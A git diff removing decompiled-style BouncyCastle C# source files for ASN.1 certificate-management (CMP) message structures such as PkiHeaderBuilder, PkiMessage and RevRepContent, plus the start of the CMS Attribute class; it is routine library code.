a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiHeaderBuilder.cs +++ /dev/null @@ -1,183 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiHeaderBuilder -{ - private DerInteger pvno; - - private GeneralName sender; - - private GeneralName recipient; - - private DerGeneralizedTime messageTime; - - private AlgorithmIdentifier protectionAlg; - - private Asn1OctetString senderKID; - - private Asn1OctetString recipKID; - - private Asn1OctetString transactionID; - - private Asn1OctetString senderNonce; - - private Asn1OctetString recipNonce; - - private PkiFreeText freeText; - - private Asn1Sequence generalInfo; - - public PkiHeaderBuilder(int pvno, GeneralName sender, GeneralName recipient) - : this(new DerInteger(pvno), sender, recipient) - { - } - - private PkiHeaderBuilder(DerInteger pvno, GeneralName sender, GeneralName recipient) - { - this.pvno = pvno; - this.sender = sender; - this.recipient = recipient; - } - - public virtual PkiHeaderBuilder SetMessageTime(DerGeneralizedTime time) - { - messageTime = time; - return this; - } - - public virtual PkiHeaderBuilder SetProtectionAlg(AlgorithmIdentifier aid) - { - protectionAlg = aid; - return this; - } - - public virtual PkiHeaderBuilder SetSenderKID(byte[] kid) - { - return SetSenderKID((kid == null) ? null : new DerOctetString(kid)); - } - - public virtual PkiHeaderBuilder SetSenderKID(Asn1OctetString kid) - { - senderKID = kid; - return this; - } - - public virtual PkiHeaderBuilder SetRecipKID(byte[] kid) - { - return SetRecipKID((kid == null) ? null : new DerOctetString(kid)); - } - - public virtual PkiHeaderBuilder SetRecipKID(DerOctetString kid) - { - recipKID = kid; - return this; - } - - public virtual PkiHeaderBuilder SetTransactionID(byte[] tid) - { - return SetTransactionID((tid == null) ? null : new DerOctetString(tid)); - } - - public virtual PkiHeaderBuilder SetTransactionID(Asn1OctetString tid) - { - transactionID = tid; - return this; - } - - public virtual PkiHeaderBuilder SetSenderNonce(byte[] nonce) - { - return SetSenderNonce((nonce == null) ? null : new DerOctetString(nonce)); - } - - public virtual PkiHeaderBuilder SetSenderNonce(Asn1OctetString nonce) - { - senderNonce = nonce; - return this; - } - - public virtual PkiHeaderBuilder SetRecipNonce(byte[] nonce) - { - return SetRecipNonce((nonce == null) ? null : new DerOctetString(nonce)); - } - - public virtual PkiHeaderBuilder SetRecipNonce(Asn1OctetString nonce) - { - recipNonce = nonce; - return this; - } - - public virtual PkiHeaderBuilder SetFreeText(PkiFreeText text) - { - freeText = text; - return this; - } - - public virtual PkiHeaderBuilder SetGeneralInfo(InfoTypeAndValue genInfo) - { - return SetGeneralInfo(MakeGeneralInfoSeq(genInfo)); - } - - public virtual PkiHeaderBuilder SetGeneralInfo(InfoTypeAndValue[] genInfos) - { - return SetGeneralInfo(MakeGeneralInfoSeq(genInfos)); - } - - public virtual PkiHeaderBuilder SetGeneralInfo(Asn1Sequence seqOfInfoTypeAndValue) - { - generalInfo = seqOfInfoTypeAndValue; - return this; - } - - private static Asn1Sequence MakeGeneralInfoSeq(InfoTypeAndValue generalInfo) - { - return new DerSequence(generalInfo); - } - - private static Asn1Sequence MakeGeneralInfoSeq(InfoTypeAndValue[] generalInfos) - { - Asn1Sequence result = null; - if (generalInfos != null) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - for (int i = 0; i < generalInfos.Length; i++) - { - asn1EncodableVector.Add(generalInfos[i]); - } - result = new DerSequence(asn1EncodableVector); - } - return result; - } - - public virtual PkiHeader Build() - { - Asn1EncodableVector v = new Asn1EncodableVector(pvno, sender, recipient); - AddOptional(v, 0, messageTime); - AddOptional(v, 1, protectionAlg); - AddOptional(v, 2, senderKID); - AddOptional(v, 3, recipKID); - AddOptional(v, 4, transactionID); - AddOptional(v, 5, senderNonce); - AddOptional(v, 6, recipNonce); - AddOptional(v, 7, freeText); - AddOptional(v, 8, generalInfo); - messageTime = null; - protectionAlg = null; - senderKID = null; - recipKID = null; - transactionID = null; - senderNonce = null; - recipNonce = null; - freeText = null; - generalInfo = null; - return PkiHeader.GetInstance(new DerSequence(v)); - } - - private void AddOptional(Asn1EncodableVector v, int tagNo, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(explicitly: true, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiMessage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiMessage.cs deleted file mode 100644 index 7ac06b1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiMessage.cs +++ /dev/null @@ -1,100 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiMessage : Asn1Encodable -{ - private readonly PkiHeader header; - - private readonly PkiBody body; - - private readonly DerBitString protection; - - private readonly Asn1Sequence extraCerts; - - public virtual PkiHeader Header => header; - - public virtual PkiBody Body => body; - - public virtual DerBitString Protection => protection; - - private PkiMessage(Asn1Sequence seq) - { - header = PkiHeader.GetInstance(seq[0]); - body = PkiBody.GetInstance(seq[1]); - for (int i = 2; i < seq.Count; i++) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[i].ToAsn1Object(); - if (asn1TaggedObject.TagNo == 0) - { - protection = DerBitString.GetInstance(asn1TaggedObject, isExplicit: true); - } - else - { - extraCerts = Asn1Sequence.GetInstance(asn1TaggedObject, explicitly: true); - } - } - } - - public static PkiMessage GetInstance(object obj) - { - if (obj is PkiMessage) - { - return (PkiMessage)obj; - } - if (obj != null) - { - return new PkiMessage(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public PkiMessage(PkiHeader header, PkiBody body, DerBitString protection, CmpCertificate[] extraCerts) - { - this.header = header; - this.body = body; - this.protection = protection; - if (extraCerts != null) - { - this.extraCerts = new DerSequence(extraCerts); - } - } - - public PkiMessage(PkiHeader header, PkiBody body, DerBitString protection) - : this(header, body, protection, null) - { - } - - public PkiMessage(PkiHeader header, PkiBody body) - : this(header, body, null, null) - { - } - - public virtual CmpCertificate[] GetExtraCerts() - { - if (extraCerts == null) - { - return null; - } - CmpCertificate[] array = new CmpCertificate[extraCerts.Count]; - for (int i = 0; i < array.Length; i++) - { - array[i] = CmpCertificate.GetInstance(extraCerts[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector v = new Asn1EncodableVector(header, body); - AddOptional(v, 0, protection); - AddOptional(v, 1, extraCerts); - return new DerSequence(v); - } - - private static void AddOptional(Asn1EncodableVector v, int tagNo, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(explicitly: true, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiMessages.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiMessages.cs deleted file mode 100644 index e1f855b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiMessages.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiMessages : Asn1Encodable -{ - private Asn1Sequence content; - - private PkiMessages(Asn1Sequence seq) - { - content = seq; - } - - public static PkiMessages GetInstance(object obj) - { - if (obj is PkiMessages) - { - return (PkiMessages)obj; - } - if (obj is Asn1Sequence) - { - return new PkiMessages((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public PkiMessages(params PkiMessage[] msgs) - { - content = new DerSequence(msgs); - } - - public virtual PkiMessage[] ToPkiMessageArray() - { - PkiMessage[] array = new PkiMessage[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = PkiMessage.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatus.cs deleted file mode 100644 index ee31986..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatus.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cmp; - -public enum PkiStatus -{ - Granted, - GrantedWithMods, - Rejection, - Waiting, - RevocationWarning, - RevocationNotification, - KeyUpdateWarning -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatusEncodable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatusEncodable.cs deleted file mode 100644 index dda1538..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatusEncodable.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiStatusEncodable : Asn1Encodable -{ - public static readonly PkiStatusEncodable granted = new PkiStatusEncodable(PkiStatus.Granted); - - public static readonly PkiStatusEncodable grantedWithMods = new PkiStatusEncodable(PkiStatus.GrantedWithMods); - - public static readonly PkiStatusEncodable rejection = new PkiStatusEncodable(PkiStatus.Rejection); - - public static readonly PkiStatusEncodable waiting = new PkiStatusEncodable(PkiStatus.Waiting); - - public static readonly PkiStatusEncodable revocationWarning = new PkiStatusEncodable(PkiStatus.RevocationWarning); - - public static readonly PkiStatusEncodable revocationNotification = new PkiStatusEncodable(PkiStatus.RevocationNotification); - - public static readonly PkiStatusEncodable keyUpdateWaiting = new PkiStatusEncodable(PkiStatus.KeyUpdateWarning); - - private readonly DerInteger status; - - public virtual BigInteger Value => status.Value; - - private PkiStatusEncodable(PkiStatus status) - : this(new DerInteger((int)status)) - { - } - - private PkiStatusEncodable(DerInteger status) - { - this.status = status; - } - - public static PkiStatusEncodable GetInstance(object obj) - { - if (obj is PkiStatusEncodable) - { - return (PkiStatusEncodable)obj; - } - if (obj is DerInteger) - { - return new PkiStatusEncodable((DerInteger)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - return status; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatusInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatusInfo.cs deleted file mode 100644 index f03fe9a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PkiStatusInfo.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PkiStatusInfo : Asn1Encodable -{ - private DerInteger status; - - private PkiFreeText statusString; - - private DerBitString failInfo; - - public BigInteger Status => status.Value; - - public PkiFreeText StatusString => statusString; - - public DerBitString FailInfo => failInfo; - - public static PkiStatusInfo GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static PkiStatusInfo GetInstance(object obj) - { - if (obj is PkiStatusInfo) - { - return (PkiStatusInfo)obj; - } - if (obj is Asn1Sequence) - { - return new PkiStatusInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public PkiStatusInfo(Asn1Sequence seq) - { - status = DerInteger.GetInstance(seq[0]); - statusString = null; - failInfo = null; - if (seq.Count > 2) - { - statusString = PkiFreeText.GetInstance(seq[1]); - failInfo = DerBitString.GetInstance(seq[2]); - } - else if (seq.Count > 1) - { - object obj = seq[1]; - if (obj is DerBitString) - { - failInfo = DerBitString.GetInstance(obj); - } - else - { - statusString = PkiFreeText.GetInstance(obj); - } - } - } - - public PkiStatusInfo(int status) - { - this.status = new DerInteger(status); - } - - public PkiStatusInfo(int status, PkiFreeText statusString) - { - this.status = new DerInteger(status); - this.statusString = statusString; - } - - public PkiStatusInfo(int status, PkiFreeText statusString, PkiFailureInfo failInfo) - { - this.status = new DerInteger(status); - this.statusString = statusString; - this.failInfo = failInfo; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(status); - if (statusString != null) - { - asn1EncodableVector.Add(statusString); - } - if (failInfo != null) - { - asn1EncodableVector.Add(failInfo); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PollRepContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PollRepContent.cs deleted file mode 100644 index 2eaec12..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PollRepContent.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PollRepContent : Asn1Encodable -{ - private readonly DerInteger certReqId; - - private readonly DerInteger checkAfter; - - private readonly PkiFreeText reason; - - public virtual DerInteger CertReqID => certReqId; - - public virtual DerInteger CheckAfter => checkAfter; - - public virtual PkiFreeText Reason => reason; - - private PollRepContent(Asn1Sequence seq) - { - certReqId = DerInteger.GetInstance(seq[0]); - checkAfter = DerInteger.GetInstance(seq[1]); - if (seq.Count > 2) - { - reason = PkiFreeText.GetInstance(seq[2]); - } - } - - public static PollRepContent GetInstance(object obj) - { - if (obj is PollRepContent) - { - return (PollRepContent)obj; - } - if (obj is Asn1Sequence) - { - return new PollRepContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public PollRepContent(DerInteger certReqId, DerInteger checkAfter) - { - this.certReqId = certReqId; - this.checkAfter = checkAfter; - reason = null; - } - - public PollRepContent(DerInteger certReqId, DerInteger checkAfter, PkiFreeText reason) - { - this.certReqId = certReqId; - this.checkAfter = checkAfter; - this.reason = reason; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certReqId, checkAfter); - asn1EncodableVector.AddOptional(reason); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PollReqContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PollReqContent.cs deleted file mode 100644 index 9bcf89b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PollReqContent.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PollReqContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private PollReqContent(Asn1Sequence seq) - { - content = seq; - } - - public static PollReqContent GetInstance(object obj) - { - if (obj is PollReqContent) - { - return (PollReqContent)obj; - } - if (obj is Asn1Sequence) - { - return new PollReqContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual DerInteger[][] GetCertReqIDs() - { - DerInteger[][] array = new DerInteger[content.Count][]; - for (int i = 0; i != array.Length; i++) - { - array[i] = SequenceToDerIntegerArray((Asn1Sequence)content[i]); - } - return array; - } - - private static DerInteger[] SequenceToDerIntegerArray(Asn1Sequence seq) - { - DerInteger[] array = new DerInteger[seq.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = DerInteger.GetInstance(seq[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PopoDecKeyChallContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PopoDecKeyChallContent.cs deleted file mode 100644 index a17ff85..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PopoDecKeyChallContent.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PopoDecKeyChallContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private PopoDecKeyChallContent(Asn1Sequence seq) - { - content = seq; - } - - public static PopoDecKeyChallContent GetInstance(object obj) - { - if (obj is PopoDecKeyChallContent) - { - return (PopoDecKeyChallContent)obj; - } - if (obj is Asn1Sequence) - { - return new PopoDecKeyChallContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual Challenge[] ToChallengeArray() - { - Challenge[] array = new Challenge[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = Challenge.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PopoDecKeyRespContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PopoDecKeyRespContent.cs deleted file mode 100644 index 0ed166b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/PopoDecKeyRespContent.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class PopoDecKeyRespContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private PopoDecKeyRespContent(Asn1Sequence seq) - { - content = seq; - } - - public static PopoDecKeyRespContent GetInstance(object obj) - { - if (obj is PopoDecKeyRespContent) - { - return (PopoDecKeyRespContent)obj; - } - if (obj is Asn1Sequence) - { - return new PopoDecKeyRespContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual DerInteger[] ToDerIntegerArray() - { - DerInteger[] array = new DerInteger[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = DerInteger.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/ProtectedPart.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/ProtectedPart.cs deleted file mode 100644 index a71494d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/ProtectedPart.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class ProtectedPart : Asn1Encodable -{ - private readonly PkiHeader header; - - private readonly PkiBody body; - - public virtual PkiHeader Header => header; - - public virtual PkiBody Body => body; - - private ProtectedPart(Asn1Sequence seq) - { - header = PkiHeader.GetInstance(seq[0]); - body = PkiBody.GetInstance(seq[1]); - } - - public static ProtectedPart GetInstance(object obj) - { - if (obj is ProtectedPart) - { - return (ProtectedPart)obj; - } - if (obj is Asn1Sequence) - { - return new ProtectedPart((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public ProtectedPart(PkiHeader header, PkiBody body) - { - this.header = header; - this.body = body; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(header, body); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevAnnContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevAnnContent.cs deleted file mode 100644 index 6bcf0e3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevAnnContent.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class RevAnnContent : Asn1Encodable -{ - private readonly PkiStatusEncodable status; - - private readonly CertId certId; - - private readonly DerGeneralizedTime willBeRevokedAt; - - private readonly DerGeneralizedTime badSinceDate; - - private readonly X509Extensions crlDetails; - - public virtual PkiStatusEncodable Status => status; - - public virtual CertId CertID => certId; - - public virtual DerGeneralizedTime WillBeRevokedAt => willBeRevokedAt; - - public virtual DerGeneralizedTime BadSinceDate => badSinceDate; - - public virtual X509Extensions CrlDetails => crlDetails; - - private RevAnnContent(Asn1Sequence seq) - { - status = PkiStatusEncodable.GetInstance(seq[0]); - certId = CertId.GetInstance(seq[1]); - willBeRevokedAt = DerGeneralizedTime.GetInstance(seq[2]); - badSinceDate = DerGeneralizedTime.GetInstance(seq[3]); - if (seq.Count > 4) - { - crlDetails = X509Extensions.GetInstance(seq[4]); - } - } - - public static RevAnnContent GetInstance(object obj) - { - if (obj is RevAnnContent) - { - return (RevAnnContent)obj; - } - if (obj is Asn1Sequence) - { - return new RevAnnContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(status, certId, willBeRevokedAt, badSinceDate); - asn1EncodableVector.AddOptional(crlDetails); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevDetails.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevDetails.cs deleted file mode 100644 index d7184cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevDetails.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class RevDetails : Asn1Encodable -{ - private readonly CertTemplate certDetails; - - private readonly X509Extensions crlEntryDetails; - - public virtual CertTemplate CertDetails => certDetails; - - public virtual X509Extensions CrlEntryDetails => crlEntryDetails; - - private RevDetails(Asn1Sequence seq) - { - certDetails = CertTemplate.GetInstance(seq[0]); - crlEntryDetails = ((seq.Count <= 1) ? null : X509Extensions.GetInstance(seq[1])); - } - - public static RevDetails GetInstance(object obj) - { - if (obj is RevDetails) - { - return (RevDetails)obj; - } - if (obj is Asn1Sequence) - { - return new RevDetails((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public RevDetails(CertTemplate certDetails) - : this(certDetails, null) - { - } - - public RevDetails(CertTemplate certDetails, X509Extensions crlEntryDetails) - { - this.certDetails = certDetails; - this.crlEntryDetails = crlEntryDetails; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certDetails); - asn1EncodableVector.AddOptional(crlEntryDetails); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevRepContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevRepContent.cs deleted file mode 100644 index 5e50eaf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevRepContent.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class RevRepContent : Asn1Encodable -{ - private readonly Asn1Sequence status; - - private readonly Asn1Sequence revCerts; - - private readonly Asn1Sequence crls; - - private RevRepContent(Asn1Sequence seq) - { - status = Asn1Sequence.GetInstance(seq[0]); - for (int i = 1; i < seq.Count; i++) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[i]); - if (instance.TagNo == 0) - { - revCerts = Asn1Sequence.GetInstance(instance, explicitly: true); - } - else - { - crls = Asn1Sequence.GetInstance(instance, explicitly: true); - } - } - } - - public static RevRepContent GetInstance(object obj) - { - if (obj is RevRepContent) - { - return (RevRepContent)obj; - } - if (obj is Asn1Sequence) - { - return new RevRepContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual PkiStatusInfo[] GetStatus() - { - PkiStatusInfo[] array = new PkiStatusInfo[status.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = PkiStatusInfo.GetInstance(status[i]); - } - return array; - } - - public virtual CertId[] GetRevCerts() - { - if (revCerts == null) - { - return null; - } - CertId[] array = new CertId[revCerts.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CertId.GetInstance(revCerts[i]); - } - return array; - } - - public virtual CertificateList[] GetCrls() - { - if (crls == null) - { - return null; - } - CertificateList[] array = new CertificateList[crls.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CertificateList.GetInstance(crls[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector v = new Asn1EncodableVector(status); - AddOptional(v, 0, revCerts); - AddOptional(v, 1, crls); - return new DerSequence(v); - } - - private void AddOptional(Asn1EncodableVector v, int tagNo, Asn1Encodable obj) - { - if (obj != null) - { - v.Add(new DerTaggedObject(explicitly: true, tagNo, obj)); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevRepContentBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevRepContentBuilder.cs deleted file mode 100644 index c317317..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevRepContentBuilder.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class RevRepContentBuilder -{ - private readonly Asn1EncodableVector status = new Asn1EncodableVector(); - - private readonly Asn1EncodableVector revCerts = new Asn1EncodableVector(); - - private readonly Asn1EncodableVector crls = new Asn1EncodableVector(); - - public virtual RevRepContentBuilder Add(PkiStatusInfo status) - { - this.status.Add(status); - return this; - } - - public virtual RevRepContentBuilder Add(PkiStatusInfo status, CertId certId) - { - if (this.status.Count != revCerts.Count) - { - throw new InvalidOperationException("status and revCerts sequence must be in common order"); - } - this.status.Add(status); - revCerts.Add(certId); - return this; - } - - public virtual RevRepContentBuilder AddCrl(CertificateList crl) - { - crls.Add(crl); - return this; - } - - public virtual RevRepContent Build() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - asn1EncodableVector.Add(new DerSequence(status)); - if (revCerts.Count != 0) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, new DerSequence(revCerts))); - } - if (crls.Count != 0) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, new DerSequence(crls))); - } - return RevRepContent.GetInstance(new DerSequence(asn1EncodableVector)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevReqContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevReqContent.cs deleted file mode 100644 index 63c2198..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/RevReqContent.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class RevReqContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private RevReqContent(Asn1Sequence seq) - { - content = seq; - } - - public static RevReqContent GetInstance(object obj) - { - if (obj is RevReqContent) - { - return (RevReqContent)obj; - } - if (obj is Asn1Sequence) - { - return new RevReqContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public RevReqContent(params RevDetails[] revDetails) - { - content = new DerSequence(revDetails); - } - - public virtual RevDetails[] ToRevDetailsArray() - { - RevDetails[] array = new RevDetails[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = RevDetails.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Attribute.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Attribute.cs deleted file mode 100644 index 46d7450..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Attribute.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class Attribute : Asn1Encodable -{ - private DerObjectIdentifier attrType; - - private Asn1Set attrValues; - - public DerObjectIdentifier AttrType => attrType; - - public Asn1Set AttrValues => attrValues; - - public static Attribute GetInstance(object obj) - { - if (obj == null || obj is Attribute) - { - return (Attribute)obj; - } - if (obj is Asn1Sequence) - { - return new Attribute((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public Attribute(Asn1Sequence seq) - { - attrType = (DerObjectIdentifier)seq[0]; - attrValues = (Asn1Set)seq[1]; - } - - public 